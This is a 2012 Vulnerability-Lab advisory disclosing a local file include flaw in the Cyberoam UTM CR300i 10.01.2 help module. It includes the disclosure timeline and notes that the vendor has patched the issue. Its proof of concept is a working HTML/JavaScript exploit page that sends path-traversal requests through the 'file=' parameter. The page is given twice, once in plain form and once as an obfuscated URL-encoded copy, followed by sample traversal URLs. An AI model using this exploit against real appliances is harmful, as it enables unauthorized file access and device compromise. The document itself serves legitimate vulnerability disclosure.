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Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)VULNERABLE:498HistoryApr 14, 2012 - 12:00 a.m.
Cyberoam UTM v10.01.2 b59 - File Include Vulnerabilities
2012-04-1400:00:00
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
www.vulnerability-lab.com
8
Document Title:
===============
Cyberoam UTM v10.01.2 b59 - File Include Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=498
Release Date:
=============
2012-04-14
Vulnerability Laboratory ID (VL-ID):
====================================
498
Common Vulnerability Scoring System:
====================================
6.8
Product & Service Introduction:
===============================
Cyberoam Unified Threat Management appliances offer comprehensive security to organizations,
ranging from large enterprises to small and branch offices. Multiple security features
integrated over a single, Layer 8 Identity-based platform make security simple, yet highly effective.
Cyberoam, with its Extensible Security Architecture (ESA) and multi-core technology carries the
ability to combat future threats to organizations’ security.
Overview:
Stateful Inspection Firewall
VPN (SSL VPN & IPSec)
Intrusion Prevention System
Anti-Virus & Anti-Spyware
Anti-Spam
Web Filtering
Bandwidth Management
Application Visibility & Control
Web Application Firewall
3G / WiMAX Connectivity
IM Archiving & Controls
Multiple Link Management
On-Appliance Reporting
IPv6 Ready
Wi-Fi Appliances
(Copy of the Vendor Homepage: http://www.cyberoam.com/utmoverview.html )
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a File Include Vulnerability on the Cyberoam UTM Appliance CR300i 10.01.2 build 059.
Vulnerability Disclosure Timeline:
==================================
2012-03-20: Vendor Notification
2012-04-01: Vendor Response/Feedback
2012-04-01: Vendor Fix/Patch
2012-04-15: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Elitecore Technologie
Product: Cyberoam UTM Appliance CR300i 10.01.2 build 059
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A high severity File Include vulnerability is detected on the Cyberoam UTM Appliance CR300i 10.01.2.
The vulnerability allows an local low privileged user account to request local system or application files
(example:telnet-service jsp). Successful exploitation can result in dbms or service/appliance compromise
via file include vulnerability. The vulnerability is located on the WWWHELP &file= value request which
allows the privileged attacker to implement a local appliance path to request in a context frame the system files.
Vulnerable Module(s):
[+] WW HELP &file=
[+] API &file=
Affected Version(s):
[+] Cyberoam UTM Appliance CR300i 10.01.2 build 059
Picture(s):
../1.png
../2.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged accounts & without user inter action.
For demonstration or reproduce ...
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Cyberoam UTM Appliance CR300i 10.01.2 - LOCAL FILE INCLUDE EXPLOIT</title><script language="JavaScript">
var dir="/onlinehelp/wwhelp/wwhimpl/js/html/"
var file="/wwhelp.htm?"
var parameter ="#context=Online_help&file="
var shell="../corporate/webpages/index.jsp"
function command() {
if (document.rfi.target1.value==""){
alert("EXPLOITATION FAILED!");
return false;
}
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script></head>
<body bgcolor="#000000"><center>
<p><font size="4"><b><font face="Verdana" color="#008000">- <font color="#999999">Cyberoam UTM Appliance CR300i 10.01.2 [UTM]
Appliance Application</font> <font color="#990000">- LOCAL FILE INCLUDE EXPLOIT</font> -</font></b></font></p>
<p><br><iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p><form method="post" target="getting" name="rfi" onSubmit="command();">
<p><b><font face="Arial" size="2" color="#FF0000">TARGET:</font><font face="Arial" size="2" color="#808080"> http://target.[COM]/</font>
<font color="#FF0000" size="2"> </font></b>
<input type="text" name="target12" size="50" style="background-color: #006633" onMouseOver="javascript:this.style.background='#808080';"
onMouseOut="javascript:this.style.background='#808000';">
<input type="submit" value="Request!" name="B12">
<input type="reset" value="Erase!" name="B22">
</p>
</form>
</center></body></html>
... or
<script language=JavaScript>m='%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/
html%3B%20charset%3Dwindows-1254%22%3E%0A%3Ctitle%3ECyberoam%20UTM%20Appliance%20CR300i%2010.01.2%20-%20LOCAL%20
FILE%20INCLUDE%20EXPLOIT%3C/title%3E%3Cscript%20language%3D%22JavaScript%22%3E%0A%0Avar%20dir%3D%22/onlinehelp/
wwhelp/wwhimpl/js/html/%22%0Avar%20file%3D%22/wwhelp.htm%3F%22%0Avar%20parameter%20%3D%22%23context%3DOnline_help
%26file%3D%22%0Avar%20shell%3D%22../corporate/webpages/index.jsp%22%0A%0Afunction%20command%28%29%20%7B%0Aif%20%28
document.rfi.target1.value%3D%3D%22%22%29%7B%0Aalert%28%22EXPLOITATION%20FAILED%21%22%29%3B%0Areturn%20false%3B%0A
%7D%0Arfi.action%3D%20document.rfi.target1.value+dir+file+parameter+shell%3B%0Arfi.submit%28%29%3B%0A%7D%0A%3C/script
%3E%3C/head%3E%0A%3Cbody%20bgcolor%3D%22%23000000%22%3E%3Ccenter%3E%0A%3Cp%3E%3Cfont%20size%3D%224%22%3E%3Cb%3E%3
Cfont%20face%3D%22Verdana%22%20color%3D%22%23008000%22%3E-%20%3Cfont%20color%3D%22%23999999%22%3ECyberoam%20UTM%20
Appliance%20CR300i%2010.01.2%20%5BUTM%5D%20%0AAppliance%20Application%3C/font%3E%20%3Cfont%20color%3D%22%23990000
%22%3E-%20LOCAL%20FILE%20INCLUDE%20EXPLOIT%3C/font%3E%20-%3C/font%3E%3C/b%3E%3C/font%3E%3C/p%3E%0A%3Cp%3E%3Cbr%3E
%3Ciframe%20name%3D%22getting%22%20height%3D%22337%22%20width%3D%22633%22%20scrolling%3D%22yes%22%20frameborder%3D
%220%22%3E%3C/iframe%3E%0A%3C/p%3E%3Cform%20method%3D%22post%22%20target%3D%22getting%22%20name%3D%22rfi%22%20onSubmit
%3D%22command%28%29%3B%22%3E%0A%20%20%3Cp%3E%3Cb%3E%3Cfont%20face%3D%22Arial%22%20size%3D%222%22%20color%3D%22%23FF0000
%22%3ETARGET%3A%3C/font%3E%3Cfont%20face%3D%22Arial%22%20size%3D%222%22%20color%3D%22%23808080%22%3E%20http%3A//target.
%5BCOM%5D/%3C/font%3E%20%0A%20%20%3Cfont%20color%3D%22%23FF0000%22%20size%3D%222%22%3E%20%3C/font%3E%3C/b%3E%0A%20
%20%20%20%20%20%3Cinput%20type%3D%22text%22%20name%3D%22target12%22%20size%3D%2250%22%20style%3D%22background-color
%3A%20%23006633%22%20onMouseOver%3D%22javascript%3Athis.style.background%3D%27%23808080%27%3B%22%20%0A%0AonMouseOut
%3D%22javascript%3Athis.style.background%3D%27%23808000%27%3B%22%3E%0A%20%20%20%20%20%20%3Cinput%20type%3D%22submit
%22%20value%3D%22Request%21%22%20name%3D%22B12%22%3E%0A%20%20%20%20%3Cinput%20type%3D%22reset%22%20value%3D%22Erase
%21%22%20name%3D%22B22%22%3E%0A%20%20%3C/p%3E%0A%20%20%3C/form%3E%0A%3C/center%3E%3C/body%3E%3C/html%3E';
d=unescape(m);document.write(d);</script>
Reference(s):
http://utm.xxx.com/onlinehelp/wwhelp/wwhimpl/js/html/wwhelp.htm#context=Online_help&file=[LFI]../corporate/webpages/index.jsp
http://utm.xxx.com/onlinehelp/wwhelp/wwhimpl/api.htm?context=Online_help&file=[LFI]../corporate/webpages/index.jsp
Solution - Fix & Patch:
=======================
THIS ISSUES HAS BEEN PATCHED WITH THE LAST FIRMEWARE RELEASE [> 10.01.2 build 158 <]
Security Risk:
==============
The security risk of the local file include vulnerability is estimated as high(+).
Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer & Information:
=========================
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